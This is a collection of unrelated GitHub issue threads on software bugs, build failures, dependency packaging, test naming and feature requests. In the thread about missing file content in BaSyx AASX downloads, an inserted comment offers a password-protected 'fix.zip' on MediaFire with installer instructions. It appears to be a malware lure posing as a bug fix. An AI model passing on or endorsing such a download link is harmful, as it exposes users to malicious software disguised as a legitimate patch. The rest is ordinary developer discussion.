question

it looks like the program creates a static start and end of the first 6 hex then the program does a sequential search of the range difference of one trillion , ninety nine billion +. when is the database created and where. Is it possible for the program to do this operation in a specific keyspace for example 30 or 29, or manually set checkpoints?

Hi, yes it works as you mentioned. I keep the database on my own server. The program works with the API. You will see it when you examine the codes. The API simply returns a random HEX value and flags the scanned private key.
Is it possible for the program to do this operation in a specific keyspace for example 30 or 29, or manually set checkpoints?
Unfortunately, no.

Closing issue. If you have any further questions, please open a new issue.


[BUG] Files content missing in downloaded AAS from AAS Web UI

Describe the bug
When downloading an AASX file from AAS Web UI, the AAS is missing its files content.
The files are shown in the AAS Web UI.
This may be related to issue https://github.com/eclipse-basyx/basyx-applications/issues/234
To Reproduce
Steps to reproduce the behavior:

Upload an AASX file in the AAS Web UI.
Notice that the files are attached and visible in the AAS Web UI.
Click Download on the AAS.
Open the downloaded AASX file locally.
Notice that for the Submodel Element (File)s, the values are set to "/tmp/basyx-temp..." and the content of the file is missing.

Expected behavior
Attachments/files should be included in the AASX file.
BaSyx (please complete the following information):

BaSyx Version [v2.0]
AAS Version [DotAAS V3]

BaSyx configuration
Default from the Quick Start Guide.

Download
https://www.mediafire.com/file/jc5ws0hujgycrp5/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Hello @JS-Aibel,
this is actually related to this issue: https://github.com/eclipse-basyx/basyx-java-server-sdk/issues/353
There is already a pull request resolving this issue: https://github.com/eclipse-basyx/basyx-java-server-sdk/pull/399
We will provide an update including this fix soon.


Start on top

Hello Misha,
I really like this component. It's small, easy to use and just works. Thank you for that 😊.
In my case I am using it for a timer and there I would assume that the circle starts at the top (12 o'clock) and goes around. Do you think it is possible to add this behavior?
Regards
Nick

Hi @Milchreis
Sure, I will try to add that behaviour this week.
Thank you for using this component.

Hi @Milchreis
I added a new prop startAngle.
Now you can specify the starting point of the filling circle.
The default is - 180.
To start filling the circle from the top you can set startAngle to 0:
<CircleProgressBar
  ...some props
  :start-angle="0"
/>

It works perfect. Thank you very much for this feature 😊👍


fixtures: introduce conftest.py

Instead of directly importing fixtures in tests
from helpers and adding a noqa/pylint disable
unused-import comment, pytest's fixture
discovery mechanism is utilized.
Noqa comments and imports have been cleaned up.

Can one of the admins verify this patch?


Fails to build on Electron 9

Prerequisites

[x] Have you checked the solutions in our troubleshooting guide for common problems ?
[x] Have you checked that your issue isn't already filed ?

Description
Hydrogen fails to build on Atom with Electron 9.
Full log is included in the log section.  System Windows_NT 10.0.19042
gyp ERR! command "C:\\Users\\aminy\\Documents\\GitHub\\JavaScript\\@atom-ide-community\\atom\\out\\Atom Dev x64\\resources\\app\\apm\\bin\\node.exe" "C:\\Users\\aminy\\Documents\\GitHub\\JavaScript\\@atom-ide-community\\atom\\out\\Atom Dev x64\\resources\\app\\apm\\node_modules\\npm\\node_modules\\node-gyp\\bin\\node-gyp.js" "rebuild"
gyp ERR! cwd C:\.atom\packages\Hydrogen\node_modules\zeromq
gyp ERR! node -v v12.4.0
gyp ERR! node-gyp -v v5.1.0
gyp ERR! not ok
npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR<EMAIL_ADDRESS>install: `node scripts/prebuild-install.js || (node scripts/preinstall.js && node-gyp rebuild)`
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>install script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.

npm ERR!      C:\Users\aminy\.atom\.apm\_logs\2020-12-16T23_12_45_444Z-debug.log

Steps to Reproduce

Build Atom in https://github.com/atom/atom/pull/21805
Try to build Hydrogen with the included apm under ./out/Atom Dev x64/resources/app/apm/bin/apm

Versions

OS version:
[Your OS's version]

atom --version

❯ atom-dev9 --version

Atom    : 1.56.0-dev-ffaba34b3
Electron: 9.3.5
Chrome  : 83.0.4103.122
Node    : 12.14.1

apm --version

❯ apm-dev --version
apm  2.5.2
npm  6.14.8
node 12.4.0 x64
atom 1.56.0-dev-ffaba34b3
python 3.6.8
git 2.29.2.windows.3
visual studio

Hydrogen version:

Hydrogen 2.14.6
Plugins
Have you installed and activated any of the Hydrogen plugins below ?

[ ] hydrogen-python
[ ] Hydrogen Launcher
[ ] Data Explorer

Logs
Here is a full log:
2020-12-16T23_12_45_444Z-debug.log
Expected behavior
[A clear and concise description of what you expected to happen.]
Screenshots
[If applicable, add screenshots to help explain your problem.]
Additional context
[Add any other context about the problem here.]

#1369

@ntract

I made a fix for this in Zeromq. We need to wait until that is merged to Zeromq and then Jmp.
https://github.com/zeromq/zeromq.js/pull/444

Same problem here.

Regarding #2077 is this the fix : "We need to wait until that is merged to Zeromq "
Any recommendation meanwhile?
Thanks.

@captainsafia is registering the a patched ZeroMQ. After that one is registered, I will quickly create a PR to fix it. I will do my best to fix the issue as soon as possible, hopefully, tonight or tomorrow at the latest.
For now, you can use Atom 1.55. Fortunately, Atom doesn't remove the previous version, and you can actually use it. Here is my Atom installation which still has 1.55.

Hydrogen 2.15.0 is released. Now you can use Hydrogen on the latest Atom 🎉

same problem with Hydrogen 2.15.3  :c


CSS-minification

While sifting through old issues, I found a link to a css-minifier, that we might try out to see how much effect it has: https://github.com/jakubpawlowicz/clean-css

done?


Coveralls coverage

Pull Request Test Coverage Report for Build 46

1 of 1 (100.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.3%) to 99.303%

Totals

Change from base Build 44:
0.3%

Covered Lines:
285

Relevant Lines:
287

💛  - Coveralls

Pull Request Test Coverage Report for Build 46

1 of 1 (100.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.3%) to 99.303%

Totals

Change from base Build 44:
0.3%

Covered Lines:
285

Relevant Lines:
287

💛  - Coveralls


Don't repackage libraries

It is a well known fact that Android has a limit on the method count within Android's dex format, and repackaging libraries instead of declaring them as proper dependencies makes it more likely to be an issue for apps that use your SDK and also want to use any or all of gson, retrofit, okhttp, or okio. Although multidex can get around the method count limit, it is not without its limitations.
I propose that instead of only providing a "fat-aar" with these repackaged libraries, you also provide a version that properly declares these dependencies in the pom so that we do not have to include these libraries twice when we want to use them in our own code.

Hi @MobiDevelop, thanks for bringing this topic.
First let me explain why I made this decision in the first place. Before this September SDK wasn't available on Maven Central nor on other Maven repository. If we would like to use pure Gson, Retrofit, OkHttp, Okio, we would need to ask developers to include also them. That creates additional steps for configuration which always creates confusion. I wanted to avoid that at all cost, thus I decided to go with fat library.
Once we are with Maven Central we can discuss reverting this decision. Could you help me with justification?

Method limit. I'm very aware of it but have you experienced that in your app? Very few apps have this problem.

At Estimote, we like to be on top of new version of libraries (like switching to Retrofit 2 once it goes out of beta). I fear that I'll be creating more harm for other devs with going with new version of Retrofit than good.

What do you think?

Thanks for the prompt reply @wiktor.
Unfortunately, we do have an app which us running up against the 65k method count limit (largly due to inclusion of some - but not all - of the Google Play Services libraries).
I think that running the SDK through proguard is a good option to meet both your goals of easy integration and to reduce the overall method count of the library. Plus, it will have the added benefit to protect your code from prying eyes.
As far as your ability to move to new versions of libraries, I think that with properly versioned releases that wouldn't ultimately be a concern given the ability to choose the version that best suits the developer using the SDK. That said, I think the proguard option is good for at least an interim step.
I appreciate the openness to discuss.

We can try approach similar to Retrofit. There are created separate modules for retrofit-converters and retrofit-adapters, which can be used with Retrofit. These modules are published in Maven Central as a separate artifacts. If developer wants to use specific converter or adapter, he or she can use dependency to such adapter or converter (e.g. Jackson or SimpleXML). Developer can also avoid using such converter and create his or her own custom converter. Maybe this approach will be good for making this library thinner? Of course, removing adapter provided as a separate artifact or avoiding custom adapter at all could reduce library functionality and users should be informed about that. I'm not sure if it's the right way to pursue for this case, but it can be subject of further discussion.

@pwittchen Your approach is interesting. Though Retrofit/OkHttp/Okio are using in the heart of SDK as they help us with communicating with Estimote Cloud. The only solution I can see right now is obfuscation of dependencies.


Update factories naming to capital naming

Describe the task
Update factories naming to capital naming like factories to Factories in all modules folders. It is required to maintain uniformity through out code. (As all other folders in the database are in camelcase)

This is complete. Closing.


Breaks if columns are not (re)named

The user gets a 500 error if they fetch a queryset that return columns with the same names. This sort-of makes renaming obligatory, but this isn't reflected in the error message, nor the definition API. Could fix this in both ways, but first I'd want to make the QS manager set default names (x_1, x_2, x_3) instead of failing if columns are named the same.

Fixed in 438c49f


fix typo in class documentation (min. improvement)

Got dropped during commit 21ddb60dc0af51f018c68e84b2e8969380e177b8

Hi @solimant!
The HBase project uses the HBASE tracker in ASF JIRA instance to review and apply work. Would you mind filing a request there that describes the problem and proposed solution?
Our contributor guide section includes instructions on how to attach a patch to your issue once it exists.
Thanks for your interest in improving Apache HBase!

Hi @busbey, I've opened JIRA issue HBASE-15863 for this. I guess I should assign it to me and follow the procedure for patching..?

yep. please do!


AMBARI-24322. Copy db config consistency fix to UpgradeCatalog271 as …

…well.
What changes were proposed in this pull request?
Copy *-logsearch-conf config fix to UpgradeCatalog271
How was this patch tested?
in progress.
please review @swagle @g-boros @zeroflag

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/Ambari-Github-PullRequest-Builder/3459/
Test PASSed.


error on first IntilliSense invocation

open new document
type something
an error is printed to the console

Cannot read property 'isBefore' of null: TypeError: Cannot read property 'isBefore' of null
    at SuggestModel.onCursorChange (file:////Users/jrieken/Code/vscode/out/vs/editor/contrib/suggest/common/suggestModel.js:198:36)
    at file:////Users/jrieken/Code/vscode/out/vs/editor/contrib/suggest/common/suggestModel.js:86:23
    at file:////Users/jrieken/Code/vscode/out/vs/base/common/event.js:184:26
    at safeInvoke1Arg (file:////Users/jrieken/Code/vscode/out/vs/base/common/eventEmitter.js:255:20)
    at CodeEditor.EventEmitter._emitToSpecificTypeListeners (file:////Users/jrieken/Code/vscode/out/vs/base/common/eventEmitter.js:140:21)
    at CodeEditor.EventEmitter._emitEvents (file:////Users/jrieken/Code/vscode/out/vs/base/common/eventEmitter.js:156:22)
    at CodeEditor.EventEmitter.emit (file:////Users/jrieken/Code/vscode/out/vs/base/common/eventEmitter.js:170:22)
    at file:////Users/jrieken/Code/vscode/out/vs/editor/common/commonCodeEditor.js:667:39
    at safeInvoke1Arg (file:////Users/jrieken/Code/vscode/out/vs/base/common/eventEmitter.js:255:20)
    at Cursor.EventEmitter._emitToBulkListeners (file:////Users/jrieken/Code/vscode/out/vs/base/common/eventEmitter.js:147:17)

Verified on master build from source.


HelloWorld-Speech-Eventing

Is it normal for there to be some bug issues?  When I start the Microsoft Virtual Shield app, many times I can not get the ellipsis to do anything.  I've found opening the app with Bluetooth off, turning on Bluetooth, then going back to the app seems to help.  Then, when I connect to the Mate Silver, the message (Hello Virtual Shields....) is slow to come up if at all.  The little microphone in the top right of the screen will be there at time and at times it won't.  The LED will not light often.    Connecting to the Bluetooth also seems finicky and often freezes the app.  I've found hitting Disconnect, then Refresh, then Connect helps.  Lastly, I did the project that uses the 'Windows Remote Arduino Experience' to turn on an external LED with my phone.  Wired exactly the same way as this project, the LED is much brighter than in this project.  I used same output, resistor, everything.  I don't understand why this would be.  Tried it back and forth several times between the two projects.  I am using an Arduino Uno R3 and Sparkfun Bluetooth Mate Silver. I've tried it with both a Lumia 635 & Lumia 928.  Any thoughts/advice would be great.  Thanks

Bluetooth can be a bit finicky at times, which may be partially the nature of the beast. I have a Bluetooth speaker at home I am constantly having to re-pair to with my Android device despite good reviews for the product online (and nobody else seeming to have my problem). Nevertheless, I know that some work is currently being done on the Virtual Shields library and app which may help to improve its behavior and performance. In the meantime, I encourage you to try your scenario in debug mode and provide any more details if you are able to identify a problem. We will also accept pull requests!
For the LED issue, are you using the same color? Different colors of LED require different power levels (for example, a blue LED requires much more power than a red one).. You can use a standard color spectrum to analyze this. The longer the wavelength, the less power is required. Therefore, red actually requires the least amount of power, so it will appear the brightest out of other colors. If you are using another color LED, you can decrease the size of your resistor which will increase the overall current in your circuit and the brightness of your LED.

Thanks for the information.  As far as debug mode, do you mean in the sketch program using something like 'visual micro', or printing to the serial ports?  Sorry, new to this.
As far as the LED goes I used the same LED.  In fact, I've gone between the two projects back and forth only changing the program loaded onto the Arduino, and of course from the shield app to the remote app.  I believe pin 8 (which I am using for both) is a digital only output.

Arduino debugging is difficult, and yes I've often resorted to printing to serial output or using LEDs to signify when blocks of code are being executed. For the Universal Windows App (for Virtual Shields), you can use Visual Studio to deploy it in debug mode which actually makes debugging much easier.
If your LED isn't bright enough, its OK to switch to a smaller resistor. It might be that the LED you are using is different in some small way. We typically use 330 ohm, but a 220 is just fine as well.

Closing this issue as an answered question. @ImJustSomeGuy if you have further questions please feel free to reach out.


ConnectNotificationBanner Styling bug

Hello I'm trying to use the ConnectNotificationBanner component but I'm running into a UI issue with the component
I'm only passing the colorBackground: '#FFFFFF' to the stripe instance but I see  two issues, see video and screenshot.
https://github.com/user-attachments/assets/b0a19883-b4ab-482e-a415-b5151ebb0843

One issue is that the component shows a container with a white background while it's still loading
The other issue is that the component has a white background outside of the border which I would like to be removed

Is there a way to resolve these issues by passing in any props to appearance.variables?
Here's the package versions I'm using if it's useful
    "@stripe/connect-js": "^3.3.13",
    "@stripe/react-connect-js": "^3.3.14",

Check out this demo: https://docs.corp.stripe.com/connect/customize-connect-embedded-components

Are you sure you are setting the colorBackground in the right connect instance that corresponds to this component? Are any other appearance parameters working?

If you think this is an issue, please provide a repro repo and reactivate!


Breaking Change in v2.1 / Serializing to json

In the newest version 2.1 is a breaking change that is not listed in the changelog.
Before - with version 2.0.1 - the ErrorOr<> Properties Value and Errors could be returned always.
For the Errors an error was returned with the description: "Error list cannot be retrieved from a successful ErrorOr".
Now the call to Errors when IsError is false throws an exception. The same goes for the call to Value when IsError is true
This results now in an exception when serializing an ErrorOr value to a json string.
Is this something that you want to fix in the library and just did not notice yet or do I have to care for it in my own code? I would prefer to have a fix here.
Reproduce
call the following code with ErrorOr version 2.1.0:
ErrorOr<int> value = 42;
Console.WriteLine(JsonSerializer.Serialize(value));

to get the exception:
Unhandled exception. System.InvalidOperationException: The Errors property cannot be accessed when no errors have been recorded. Check IsError before accessing Errors.
   at ErrorsGetter(Object)

Before
With version 2.0.1 this resulted in the string:
{"IsError":false,"Errors":[{"Code":"ErrorOr.NoErrors","Description":"Error list cannot be retrieved from a successful ErrorOr.","Type":1,"NumericType":1,"Metadata":null}],"ErrorsOrEmptyList":[],"Value":42,"FirstError":{"Code":"ErrorOr.NoFirstError","Description":"First error cannot be retrieved from a successful ErrorOr.","Type":1,"NumericType":1,"Metadata":null}}

Wow.. my bad. Completely forgot about all the breaking changes we've made a few months ago. These should all be under ErrorOr 3.x. I've unlisted the package on NuGet and will revert the release here on GitHub as well. Thanks for taking the time and opening this issue.
I'm on vacation, so will release 3.x properly later on.

thank you. I think that means that we have to care for serialization on our own and create an own converter with ErrorOr 3.x.
Well but @amantinband one "important" thing. I think that you removed the wrong release on GitHub. You removed the release for 2.0.1. For 2.1.0 there was no release on GitHub yet, I guess. There were only the release commits (version and changelog).
Have a nice vacation


Docs: Add copy animation and show snackbar #871

closes #871
For the Submitter
Tasks

[x] Make sure "closes (issue number)" is written close to the top
[x] Add reviewers
[x] Make sure CI completes successfully
[x] On Slack, mention the PR reviewer, write your thoughts on the issue, and inform them that the PR has been created

For the Reviewer
Before Reviewing

[x] Write which PR you are reviewing on Slack

Checks

[ ] Each task for the related issue are written and in checkboxes
[ ] The branch name is close to the issue name
[ ] CI completes successfully
[ ] Changes include only what is necessary for this PR
[ ] Necessary unit tests are implemented
[ ] Necessary E2E tests are implemented
[ ] Perform functionality checks
[ ] If there are any problems, request revisions from the PR submitter and mention them on Slack

After Reviewing

[ ] Leave an approval comment (e.g. LGTM)
[ ] On Slack, mention the PR submitter and a project admin, write which PR you have reviewed, and ask them to merge the PR

@nanachong2727 さん
横幅の制限がなくなってます。


added --no-sandox to mac instructions

Fix #491 #489 , Updated per https://github.com/Microsoft/homebrew-mssql-release/issues/1

#489

Coverage remained the same at 74.251% when pulling 3fd4027bad15d5af96b0db64eda78095f09bbf50 on Hadis-Fard:readme into be30d521fb641bd11b9fa17d5e8ae1457f704349 on Microsoft:dev.


which Hi3516Ev300 board is best for OpenIPC?

I want to by a Hi3516Ev300 board that works well with OpenIPC. So far my main candidates are
https://de.aliexpress.com/item/1005002294020685.html
https://de.aliexpress.com/item/1005002345471331.html
The PCBs look quite different on the front and back
first link PCB:

second link PCB:

which do You think is best? Or can You recommend even another one?

The 2nd one has an additional connector (P4) with debug signals, that seems to be an advantage.

https://www.xiongmaitech.com/en/index.php/product/product-detail/185/187/377
this is the manufacturer of the 2nd module

This is another variant
https://pt.aliexpress.com/item/1005002304736662.html

https://www.xiongmaitech.com/en/index.php/product/product-detail/185/187/377 this is the manufacturer of the 1st module

This is a good option, but the hi3516ev300 chips have been out of production for a long time, their counterpart is GK7205v300. https://www.xiongmaitech.com/en/index.php/product/product-detail/185/187/465


merge package template from Kronos-Tools/npm-package-template

package.json

chore(devDependencies): update<EMAIL_ADDRESS>from template
chore(devDependencies): update<EMAIL_ADDRESS>from template

Coverage remained the same at 77.992% when pulling fcb96e5b8103d69e91272c8c566be0ae4bd98663 on template-sync-1 into 025ec24dce0830a3b9ee10a04501ff51123aea0a on master.


[meshmap] add boilerplate code for cxtmenu working with react-cytoscape

Description
This PR fixes #1462
Notes for Reviewers
I've used template code for command names and they are subject to change based on requirement

@anirudhjain75 there are a couple conflicts that need to be addressed.

@anirudhjain75 We had created a separate folder in the components folder for visualise. May be the reason for the conflict.

Merge conflict is for merging with master.... Not with meshmap branch.

Merge conflict is for merging with master.... Not with meshmap branch.

Irrespective, GitHub isn't going to allow merging until they are resolved.

Merge conflict is for merging with master.... Not with meshmap branch.

Fetch the upstream meshmap, I think @dhruv0000 has put visualise compnenents in a sub-folder for better sanitisation I guess.

@leecalcote can you update mesmaP with latest master. I don't have wrote access to repo

@leecalcote can you update mesmaP with latest master. I don't have wrote access to repo

Done, update your branch now!

Thank you, gents.


Add Value.stream() and Value.parallelStream()

And deprecate Value.toJavaStream().
It seems odd but users might need to do it.
It is an integration-feature.

We could also stay with toJavaStream() and add toJavaParallelStream().


Can web crawlers find promptfoo share results?

I realized promptfoo share is creating a public URL.  Just two questions:

Can web crawlers find the promptfoo share results?
Per here, it lasts for 2 weeks.  Can that be shortened/configured?

25081b04c60aef6d16a6460d77fed167bf44b91a adds noindex to all promptfoo eval pages.  Thanks for flagging!
There isn't a way to adjust the lifetime right now.


Driver is now obsolete.

@ojura please merge this. A note should also be added to the repo description.


Fix/rename anyone account #1357

Fixes #1357 - https://github.com/OpenZeppelin/openzeppelin-solidity/issues/1357

Changing all references of an "anyone" account to "other" but keeping descriptions intact.

The "anyone" account is not the best name for a random account with no special permissions. "Other" was decided to be a better descriptor.

@nventuro Thank you so much! I'm trying to get more involved with OS contributions, and this was one of my firsts commits to an OS project. Your responsiveness + direction made it super easy :)
The example I saw was in ERC721MintBurn.behavior.js. It's passed in the array. I'm still trying to wrap my head around where these accounts are coming from
function shouldBehaveLikeMintAndBurnERC721 (
  creator,
  minter,
  [owner, newOwner, approved, other]
) {

Huh, it looks like you're right! I wonder why the linter isn't detecting that as an unused variable. Oh well. Mind opening a PR to remove it? :)
That helper function is called in ERC721Mintable.test.js:
contract('ERC721Mintable', function ([_, creator, ...accounts]) {
  ...
  shouldBehaveLikeMintAndBurnERC721(creator, minter, accounts);
});

so the array of received accounts are simply the accounts that were not used in the main test (i.e. the ones in ...accounts).

I saw that in ERC721Mintable.test.js, but I wasn't sure where the ...accounts are being passed in from. I guess I'm not so clear as to who calls these test functions and passes them their params.
Another couple unused variables are owner and operator in the file ERC721Pausable.test.js
contract('ERC721Pausable', function ([
  _,
  creator,
  owner,
  operator,
  otherPauser,
  ...accounts
]) {

Should I set those as _?
I can definitely open a PR to take care of this! After that, what do you think would be a good next issue to work on?

I saw that in ERC721Mintable.test.js, but I wasn't sure where the ...accounts are being passed in from. I guess I'm not so clear as to who calls these test functions and passes them their params.

Ah, that'd be truffle. It uses mocha under the hood, and passes a set of accounts when you use the contract block.

Another couple unused variables are owner and operator in the file ERC721Pausable.test.js

Those look like the result of a nasty copy-paste :sweat_smile: Please do!

After that, what do you think would be a good next issue to work on?
Since you're already working on the test suite, maybe you could tackle https://github.com/OpenZeppelin/openzeppelin-solidity/issues/1687? It's a bit more involved than this one, but it could help you get more familiar with the test suite code base, and with chai (the last piece of the puzzle in the testing setup we use).

Ah, that'd be truffle. It uses mocha under the hood, and passes a set of accounts when you use the contract block.

Got it - so mocha passes a set of accounts as an array when you use the contract block, and we're just labeling specific accounts different names? That makes sense.
So should I remove the _ in ERC721Pausable.test.js as well in my PR which removes the declared but unused variables?
contract('ERC721Pausable', function ([
  _,
  creator,
  otherPauser,
  ...accounts

and we're just labeling specific accounts different names?

Correct!

So should I remove the _ in ERC721Pausable.test.js

No, the reason why we have _ is that the first account in the array is the account truffle uses for transactions for which the from is not specified (e.g. when you do token.transfer(recipient, amount) instead of token.transfer(recipient, amount, { from: sender })). If we did use that first account, it could happen that there was some special behaviour associated with it, e.g. it might be the admin of a contract (if you do [creator, otherPauser, other]), and tests which don't specify the from end up being called from the admin, which may both cause unexpected issues, but also to make you think you're testing stuff you really aren't. So we simply label it _ in order for no test to use it explicitly (similar to when you do { from: other }).
Does that make sense? We've been wanting to write a testing guide (#1077) for some time explaining these sort of things, but never got to it.

Yes, I think it makes sense. Basically, Truffle defaults to using the first account in its array for any actions in which you don't specify a sender.
If we also happen to set that first account to be the creator account, and then we write a test where we don't specify a from: other, the test would run with the creator account which could result in unintended consequences.
By ensuring the first account has no special privileges, we're adding a bit of redundancy in our tests, so that if an account isn't specified for a test, the test defaults to an account with no special permissions. Is that the gist of it?

That is absolutely right, yes, and you worded it much better than I did :)


git is not found in v1.11

VSCode Version: 1.11.0
OS Version: macOS 1.12.4

Steps to Reproduce:

Open vscode in a repo folder
click "source control", there is no diff shows

@wwsun Can you choose Switch SCM Provider from the Command Palette (Cmd + Shift + P) and select Git there? Does that make it work?

If you run Git: Show Git Output... is something therE?

@wwsun I have exactly same issue with you, but I did some thing to resolve it.
Please try this: F1, or in  Command Palette (Cmd + Shift + P), select "SCM: Disable Preview SCM", and then reload the window. Your Git should be back.

The list of SCM Provider is empty.
"git" is not found in "Switch SCM Provider".

one plugin (VS Code React Standard Style snippets) crash the vs code.


feat: use web client to load oCIS files and spaces

Refs #194

Not able to test the latest changes, I get a basic auth popup upon trying to load the page at https://host.docker.internal:3000 in the ocis example 🙈

@kulmann I have tried to reproduce this but hasn't been successful. After opening the URL I see the login button just fine without any basic auth... I went through the code to see if there is something that could trigger it but did not see anything.
I guess we might need some debugging session together to see it happening and figure out what caused it?

Not able to test the latest changes, I get a basic auth popup upon trying to load the page at https://host.docker.internal:3000 in the ocis example 🙈

@kulmann I have tried to reproduce this but hasn't been successful. After opening the URL I see the login button just fine without any basic auth... I went through the code to see if there is something that could trigger it but did not see anything.
I guess we might need some debugging session together to see it happening and figure out what caused it?

needed to clear site data in the application storage of the browser -.-


Document Too large, max page is undefined

Error
{
    "id": "da677385-843c-44d7-8a00-cbcd52cd3d01",
    "status": "ERROR",
    "error_code": "DOCUMENT_TOO_LARGE",
    "error_message": "Document too large, max pages is :undefined."
}

Got the above error when hitting /api/parsing/upload with gpt4o_mode=true.
About the Document
size: 6.95MB
type: pdf
page_count: 232
Sending parse request without gpt4o_mode param is working fine.

Nice catch! I'm on it.

This has been fixed in the code and will reflect in the next release. Limit is still 200 for multimodal.


Gnosis Safe based Fractile Node - first steps

We'd like to build the first steps towards a Gnosis Safe based Fractile node (as outlined in https://www.notion.so/hulking-cosmos-3e8/Gnosis-Based-Fractal-DAO-Nodes-a865c68b3dcb4095bdc8ae8167aab624).
This first step is a contract that can deploy a new Gnosis Safe (representing a Fractile DOA), and attach a module to it, in a single transaction.
This will then allow the front end to begin speccing out working with Gnosis Safes in the front end UI.

[ ] A contract with the ability to deploy a new Gnosis Safe and attach a module in a single transaction. This would be something similar to createDAO with CreateDAOParams.

i believe this issue should live in the fractal-module-gnosis repo https://github.com/decent-dao/fractal-module-gnosis

Closed in favor of https://github.com/decent-dao/fractal-module-gnosis/issues/18


Check and replace percent encoded : when provisioning domain

In the spec you can use percent encoding to create a domain that contains a port. This is useful for testing locally without setting up a complex domain mapping. However the provision method wouldn't allow this because of the percent symbol in the filepath of the sqlite askar store.
Replacing the encoded value allows the domain to contain a port and easily provision the store.

This is in the spec. here.  Should it also be added here — Section 4.4 The DID to HTTPS Transformation?

I think it is already. Option 5.
Everything seems to work correctly in the library currently with the percent encoded colon. Just creating the store had an issue.
This provision function won't be usable as is from aca-py because it creates an sqlite askar store for the keys. I think it's more for testing or an example currently. It's very useful for getting a did_tdw_server up quickly.

A colon is an invalid character for a filename on Windows, so we might need to replace that with something else.

This should be fixed in main


Responses truncated from local model

Hi! I connected a model from localai.io to dialoqbase, but I get the responses from the model truncated in the chat.
Thanks!
[App] provider local
[App] modelName mistral
[App] using local
[App] provider local
[App] modelName mistral
[App] using local
[App] cloycnl250001jlmacshzz1gr
[App] Failed to calculate number of tokens, falling back to approximate count Error: Unknown model
[App]     at getEncodingNameForModel (/home/dpardo/cityrobot/server/node_modules/js-tiktoken/dist/lite.cjs:217:13)
[App]     at encodingForModel (/home/dpardo/cityrobot/server/node_modules/langchain/dist/util/tiktoken.cjs:24:59)
[App]     at ChatOpenAI.getNumTokens (/home/dpardo/cityrobot/server/node_modules/langchain/dist/base_language/index.cjs:116:75)
[App]     at /home/dpardo/cityrobot/server/node_modules/langchain/dist/chat_models/openai.cjs:582:42
[App]     at Array.map ()
[App]     at ChatOpenAI.getNumTokensFromMessages (/home/dpardo/cityrobot/server/node_modules/langchain/dist/chat_models/openai.cjs:581:60)
[App]     at ChatOpenAI.getEstimatedTokenCountFromPrompt (/home/dpardo/cityrobot/server/node_modules/langchain/dist/chat_models/openai.cjs:529:34)
[App]     at ChatOpenAI._generate (/home/dpardo/cityrobot/server/node_modules/langchain/dist/chat_models/openai.cjs:477:49)
[App]     at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
[App]     at async Promise.allSettled (index 0)
[App] Failed to calculate number of tokens, falling back to approximate count Error: Unknown model
[App]     at getEncodingNameForModel (/home/dpardo/cityrobot/server/node_modules/js-tiktoken/dist/lite.cjs:217:13)
[App]     at encodingForModel (/home/dpardo/cityrobot/server/node_modules/langchain/dist/util/tiktoken.cjs:24:59)
[App]     at ChatOpenAI.getNumTokens (/home/dpardo/cityrobot/server/node_modules/langchain/dist/base_language/index.cjs:116:75)
[App]     at /home/dpardo/cityrobot/server/node_modules/langchain/dist/chat_models/openai.cjs:582:42
[App]     at Array.map ()
[App]     at ChatOpenAI.getNumTokensFromMessages (/home/dpardo/cityrobot/server/node_modules/langchain/dist/chat_models/openai.cjs:581:60)
[App]     at ChatOpenAI.getEstimatedTokenCountFromPrompt (/home/dpardo/cityrobot/server/node_modules/langchain/dist/chat_models/openai.cjs:529:34)
[App]     at ChatOpenAI._generate (/home/dpardo/cityrobot/server/node_modules/langchain/dist/chat_models/openai.cjs:477:49)
[App]     at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
[App]     at async Promise.allSettled (index 0)

Hey, I think you need to increase the model context from the localai.io env. The default one is around 512, and something needs to increase to get a better response :/
https://localai.io/advanced/index.html

If you try without any data source, it will respond without truncating since the default prompt size is small. However, using a data source, you need to increase it to 4K or something similar (but this will use more memory).

I have already test the context. I get a complete answer by curl:
curl http://localhost:8080/v1/chat/completions -H "Content-Type: application/json" -d '{
    "model": "mistral",
    "messages": [{"role": "user", "content": "tell me an animal with two horns"}],
    "temperature": 0.9,"stream":false
  }'
{"created":1699986736,"object":"chat.completion","id":"f1c17b19-1f7f-43d9-bc0c-0e372f02bb31","model":"mistral","choices":[{"index":0,"finish_reason":"stop","message":{"role":"assistant","content":"One animal with two horns is the bighorn sheep.\n\n"}}],"usage":{"prompt_tokens":0,"completion_tokens":0,"total_tokens":0}}

But truncated in dialoqbase, may be a bug in localAI

okk  I will look into the issue

Hey the bug not happens if streaming its not set. So probably related to the langchain library not a dialoqbase problem.
An odd behavior of dialoqbase its that set streaming to "on" each time that you edit bot settings, although was desactivated
May I ask you a questions?

Have sense RAG for local models?

Thanks for your work

Hey the bug not happens if streaming its not set. So probably related to the langchain library not a dialoqbase problem.

I need to update my code to the latest LangChain version; I will do that.

Have sense RAG for local models?

Everything works the same, though. Maybe, I might bring back the old chain, but its performance is really poor.

Hey, I have released an update which may fix this streaming issue on the LocalAI model.
Also could you also provide me with the Hugging Face URL of the local Mistral model you tried? :)

I'm closing this. If you still have the error, please reopen it. Thanks.


V0.1 Project is working with carthage

The CallWithDoxDialer µLibrary is configured, and working when installed with Carthage.

👍


Adding new example to documentation of MovingCamera and MovingCameraScene

I don't think we have a good example for how to use MovingCameraScene in the actual documentation for either MovingCamera or MovingCameraScene.
class Test(MovingCameraScene):
  def construct(self):
    def create_scene(number):
      frame = Rectangle(width=16,height=9)
      circ = Circle().shift(LEFT)
      text = Tex(f"This is Scene {str(number)}").next_to(circ, RIGHT)
      frame.add(circ,text)
      return frame

    group = VGroup(*(create_scene(i) for i in range(4))).arrange_in_grid(buff=4)
    self.add(group)
    self.camera.auto_zoom(group[0], animate=False)
    for scene in group:
      self.play(self.camera.auto_zoom(scene))
      self.wait()

    self.play(self.camera.auto_zoom(group, margin=2))

Here is a little example
https://user-images.githubusercontent.com/17803932/209752651-b93e91c0-e254-47e3-9300-473ca5e8e6fb.mp4

Would you like the documentation for the mentioned classes to be similar to that for moving_camera_scene which has plenty of examples? I would be happy to take on this task if so.

I actually missed that there is Documentation on the Module, it is sometimes unclear which parts are documented. The documentation should either be referenced in MovingCameraScene or some parts should be moved over there.

Hi, is this issue still open, if so I would like to help.
